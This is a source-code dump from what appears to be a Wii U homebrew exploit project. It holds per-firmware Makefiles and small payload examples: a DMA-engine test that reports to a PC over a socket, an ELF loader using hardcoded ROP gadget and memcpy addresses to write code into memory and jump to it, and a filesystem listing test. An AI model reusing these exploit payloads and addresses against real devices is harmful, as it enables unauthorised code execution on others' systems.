$(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/dmae/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | /* Start of our code */ 4 | 5 | void _start() 6 | { 7 | /* Load a good stack */ 8 | asm( 9 | "lis %r1, 0x1ab5 ;" 10 | "ori %r1, %r1, 0xd138 ;" 11 | ); 12 | 13 | /* Get a handle to coreinit.rpl, dmae.rpl, and nsysnet.rpl */ 14 | unsigned int coreinit_handle, dmae_handle, nsysnet_handle; 15 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 16 | OSDynLoad_Acquire("dmae.rpl", &dmae_handle); 17 | OSDynLoad_Acquire("nsysnet.rpl", &nsysnet_handle); 18 | 19 | /* Cache, DMA, and socket functions */ 20 | void (*DCFlushRange)(void *addr, unsigned int length); 21 | void (*DCInvalidateRange)(void *addr, unsigned int length); 22 | unsigned long long (*DMAECopyMem)(void *dst, void *src, unsigned int nwords, int endian); 23 | int (*DMAEWaitDone)(unsigned long long ret); 24 | int (*socket)(int family, int type, int proto); 25 | int (*connect)(int fd, struct sockaddr *addr, int addrlen); 26 | int (*send)(int fd, const void *buffer, int len, int flags); 27 | 28 | /* Read the addresses of the functions */ 29 | OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); 30 | OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); 31 | OSDynLoad_FindExport(dmae_handle, 0, "DMAECopyMem", &DMAECopyMem); 32 | OSDynLoad_FindExport(dmae_handle, 0, "DMAEWaitDone", &DMAEWaitDone); 33 | OSDynLoad_FindExport(nsysnet_handle, 0, "socket", &socket); 34 | OSDynLoad_FindExport(nsysnet_handle, 0, "connect", &connect); 35 | OSDynLoad_FindExport(nsysnet_handle, 0, "send", &send); 36 | 37 | /* Set up our socket address structure */ 38 | struct sockaddr sin; 39 | sin.sin_family = AF_INET; 40 | sin.sin_port = 12345; 41 | sin.sin_addr.s_addr = PC_IP; 42 | int i; 43 | for (i = 0; i < 8; i++) 44 | { 45 | sin.sin_zero[i] = 0; 46 | } 47 | 48 | /* Connect to the PC */ 49 | int pc = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 50 | int status = connect(pc, &sin, 0x10); 51 | if (status) OSFatal("Error connecting to PC server"); 52 | 53 | /* Cache stuff */ 54 | DCFlushRange(0x01000000, 0x20); 55 | DCInvalidateRange(0x1dd7b820, 0x20); 56 | 57 | /* Do the copy */ 58 | int success = DMAEWaitDone(DMAECopyMem(0x1dd7b820, 0x01000000, 2, 0)); 59 | if (success) 60 | { 61 | send(pc, "Success", 8, 0); 62 | } 63 | else 64 | { 65 | send(pc, "Fail", 5, 0); 66 | } 67 | while(1); 68 | } -------------------------------------------------------------------------------- /examples/dmae/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/types.h" 6 | #include "../../../libwiiu/src/socket.h" 7 | 8 | void _start(); 9 | 10 | void _entryPoint(); 11 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/elfloader/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c -s 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary -s 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* -------------------------------------------------------------------------------- /examples/elfloader/src/elfloader.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2001 William L. Pitts 3 | * Modifications (c) 2004 Felix Domke 4 | * All rights reserved. 5 | * 6 | * Redistribution and use in source and binary forms are freely 7 | * permitted provided that the above copyright notice and this 8 | * paragraph and the following disclaimer are duplicated in all 9 | * such forms. 10 | * 11 | * This software is provided "AS IS" and without any express or 12 | * implied warranties, including, without limitation, the implied 13 | * warranties of merchantability and fitness for a particular 14 | * purpose. 15 | */ 16 | #include "loader.h" 17 | #include "elf_abi.h" 18 | 19 | /* ====================================================================== 20 | * Determine if a valid ELF image exists at the given memory location. 21 | * First looks at the ELF header magic field, the makes sure that it is 22 | * executable and makes sure that it is for a PowerPC. 23 | * ====================================================================== */ 24 | int valid_elf_image () 25 | { 26 | Elf32_Ehdr *ehdr; /* Elf header structure pointer */ 27 | 28 | ehdr = (Elf32_Ehdr *) 0xF5800000; 29 | 30 | if (!IS_ELF (*ehdr)) 31 | return 0; 32 | 33 | if (ehdr->e_type != ET_EXEC) 34 | return -1; 35 | 36 | if (ehdr->e_machine != EM_PPC) 37 | return -1; 38 | 39 | return 1; 40 | } 41 | 42 | 43 | /* ====================================================================== 44 | * A very simple elf loader, assumes the image is valid, jumps to entry point. 45 | * ====================================================================== */ 46 | typedef void (*entrypoint) (void); 47 | void load_elf_image () { 48 | 49 | Elf32_Ehdr *ehdr; 50 | Elf32_Phdr *phdrs; 51 | unsigned char *image; 52 | 53 | unsigned int elfstart = 0xF5800000; 54 | ehdr = (Elf32_Ehdr *) elfstart; 55 | 56 | if(ehdr->e_phoff == 0 || ehdr->e_phnum == 0) 57 | return; 58 | 59 | if(ehdr->e_phentsize != sizeof(Elf32_Phdr)) 60 | return; 61 | 62 | phdrs = (Elf32_Phdr*)(elfstart + ehdr->e_phoff); 63 | 64 | int i = *((int*)0xF5FFFFFC); 65 | while(i < ehdr->e_phnum) { 66 | i = *(int*)0xF5FFFFFC; 67 | *(int*)0xF5FFFFFC = i+1; 68 | 69 | if(phdrs[i].p_type != PT_LOAD) 70 | continue; 71 | 72 | if(phdrs[i].p_filesz > phdrs[i].p_memsz) 73 | return; 74 | 75 | if(!phdrs[i].p_filesz) 76 | continue; 77 | 78 | image = (unsigned char *) (elfstart + phdrs[i].p_offset); 79 | if(phdrs[i].p_paddr >= 0x01800000 && phdrs[i].p_paddr < 0x02000000) 80 | dorop (phdrs[i].p_paddr, (unsigned int)image, phdrs[i].p_filesz); 81 | else 82 | memcpy ((void *) phdrs[i].p_paddr, (const void *) image, phdrs[i].p_filesz); 83 | } 84 | entrypoint exeEntryPoint = (entrypoint)ehdr->e_entry; 85 | //prepare and execute 86 | *(unsigned int*)0xF5FFFFFC = (unsigned int)OSDynLoad_Acquire; 87 | *(unsigned int*)0xF5FFFFF8 = (unsigned int)OSDynLoad_FindExport; 88 | *(unsigned int*)0xF5FFFFF4 = (unsigned int)OSFatal; 89 | *(unsigned int*)0xF5FFFFF0 = (unsigned int)__os_snprintf; 90 | exeEntryPoint(); 91 | } 92 | -------------------------------------------------------------------------------- /examples/elfloader/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | 6 | #if (VER==532) 7 | #define rop ((void (*)(unsigned int r3))0xd8f502c) 8 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x1035a6c) 9 | #elif (VER==500) 10 | #define rop ((void (*)())0x0DC80440) 11 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x1035460) 12 | #elif (VER==410) 13 | #define rop ((void (*)())0x0E0D595C) 14 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x01030ee4) 15 | #elif (VER==400) 16 | #define rop ((void (*)())0x0EA125FC) 17 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x01030e9c) 18 | #elif (VER==310) 19 | #define rop ((void (*)())0x0E6CE574) 20 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x0102B5C8) 21 | #elif (VER==300) 22 | #define rop ((void (*)())0x0E6CE574) 23 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x0102B5A8) 24 | #elif (VER==210) 25 | #define rop ((void (*)())0x0E6C3A44) 26 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x01029E84) 27 | #elif (VER==200) 28 | #define rop ((void (*)())0x0E65E8F4) 29 | #define memcpy ((void * (*)(void * destination, const void * source, int num))0x01029C04) 30 | #else 31 | #define rop 0 32 | #define memcpy 0 33 | #endif 34 | 35 | void _start(); 36 | void dorop(unsigned int dst, unsigned int src, int len); 37 | 38 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/elfloader/usage.txt: -------------------------------------------------------------------------------- 1 | Step 1: 2 | Compile this elfloader like every other example with "build.py". 3 | Step 2: 4 | Go into a elfexamples folder and compile that with "make". 5 | Step 3: 6 | Copy the resulting boot.elf into the www/elfloader folder. 7 | You can rename the elfloader folder to whatever you want 8 | on your webserver, it'll automatically generate the address. -------------------------------------------------------------------------------- /examples/exit/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/exit/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | unsigned int coreinit_handle; 6 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 7 | void(*_Exit)(); 8 | OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); 9 | _Exit(); 10 | } -------------------------------------------------------------------------------- /examples/exit/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | 6 | void _start(); 7 | 8 | void _entryPoint(); 9 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/fs/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -std=gnu99 -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/fs/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | /* Start a thread for the FS funcs */ 4 | void _start() 5 | { 6 | /* Get a handle to coreinit.rpl */ 7 | uint32_t coreinit_handle; 8 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 9 | 10 | /* Memory allocation functions */ 11 | void* (*OSAllocFromSystem)(uint32_t size, int align); 12 | OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); 13 | 14 | /* OS thread functions */ 15 | bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t *stack, uint32_t stack_size, int priority, uint16_t attr); 16 | int (*OSResumeThread)(void *thread); 17 | OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); 18 | OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); 19 | 20 | /* Make a thread to run the FS functions */ 21 | OSContext *thread = (OSContext*)OSAllocFromSystem(0x1000, 8); 22 | uint32_t *stack = (uint32_t*)OSAllocFromSystem(0x1000, 0x20); 23 | if (!OSCreateThread(thread, &fs_test, 0, NULL, stack + 0x400, 0x1000, 0, 0x2 | 0x8)) OSFatal("Failed to create thread"); 24 | OSResumeThread(thread); 25 | 26 | /* Infinite loop */ 27 | while(1); 28 | } 29 | 30 | /* FS testing */ 31 | void fs_test() 32 | { 33 | /* Get a handle to coreinit.rpl */ 34 | uint32_t coreinit_handle; 35 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 36 | 37 | /* Memory allocation functions */ 38 | uint32_t *memalign, *freemem; 39 | OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &memalign); 40 | OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &freemem); 41 | void* (*MEMAllocFromDefaultHeapEx)(uint32_t size, int align) = (void* (*)(uint32_t,int))*memalign; 42 | void (*MEMFreeToDefaultHeap)(void *ptr) = (void (*)(void*))*freemem; 43 | 44 | /* FS functions */ 45 | void (*FSInit)(); 46 | int (*FSAddClient)(void *client, int unk1); 47 | void (*FSInitCmdBlock)(void *cmd); 48 | int (*FSOpenDir)(void *client, void *cmd, char *path, uint32_t *dir_handle, int unk1); 49 | int (*FSReadDir)(void *client, void *cmd, uint32_t dir_handle, void *buffer, int unk1); 50 | OSDynLoad_FindExport(coreinit_handle, 0, "FSInit", &FSInit); 51 | OSDynLoad_FindExport(coreinit_handle, 0, "FSAddClient", &FSAddClient); 52 | OSDynLoad_FindExport(coreinit_handle, 0, "FSInitCmdBlock", &FSInitCmdBlock); 53 | OSDynLoad_FindExport(coreinit_handle, 0, "FSOpenDir", &FSOpenDir); 54 | OSDynLoad_FindExport(coreinit_handle, 0, "FSReadDir", &FSReadDir); 55 | 56 | /* Initialize the FS library */ 57 | FSInit(); 58 | 59 | /* Set up the client and command blocks */ 60 | void *client = MEMAllocFromDefaultHeapEx(0x1700, 0x20); 61 | void *cmd = MEMAllocFromDefaultHeapEx(0xA80, 0x20); 62 | if (!client || !cmd) OSFatal("Failed to allocate client and command block"); 63 | *((uint32_t*)0x10174F88) = 0; 64 | int ret = FSAddClient(client, -1); 65 | FSInitCmdBlock(cmd); 66 | 67 | /* Open /vol/save */ 68 | uint32_t dir_handle; 69 | ret = FSOpenDir(client, cmd, "/vol/save/common", &dir_handle, -1); 70 | 71 | /*char buf[256]; 72 | __os_snprintf(buf, 256, "FSOpenDir() returned %d, handle=0x%08X", ret, dir_handle); 73 | OSFatal(buf);*/ 74 | 75 | /* Start reading its directory entries */ 76 | uint32_t *buffer = MEMAllocFromDefaultHeapEx(0x200, 0x20); 77 | while (1) 78 | { 79 | /* Read the directory entry */ 80 | int ret = FSReadDir(client, cmd, dir_handle, buffer, -1); 81 | if (ret != 0) break; 82 | 83 | /* Get the attributes, size, and name */ 84 | uint32_t attr = buffer[0]; 85 | uint32_t size = buffer[1]; 86 | char *name = (char*)&buffer[25]; 87 | 88 | /* Print it out */ 89 | char buf[256]; 90 | __os_snprintf(buf, 256, "%s\t%d bytes\t%s\n", name, size, (attr & 0x80000000) ? "Directory" : "File"); 91 | OSFatal(buf); 92 | } 93 | 94 | OSFatal("Failed to read any dirents"); 95 | } 96 | 97 | void *memset(void *dst, int value, uint32_t len) 98 | { 99 | for (int i = 0; i < len; i++) ((uint8_t*)dst)[i] = (uint8_t)value; 100 | return dst; 101 | } 102 | -------------------------------------------------------------------------------- /examples/fs/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/types.h" 6 | 7 | /* Start a thread for the FS funcs */ 8 | void _start(); 9 | 10 | /* FS testing */ 11 | void fs_test(); 12 | 13 | /* Set a range of memory to a specific value */ 14 | void *memset(void *dst, int value, uint32_t len); 15 | 16 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/gx2/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -std=gnu99 -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 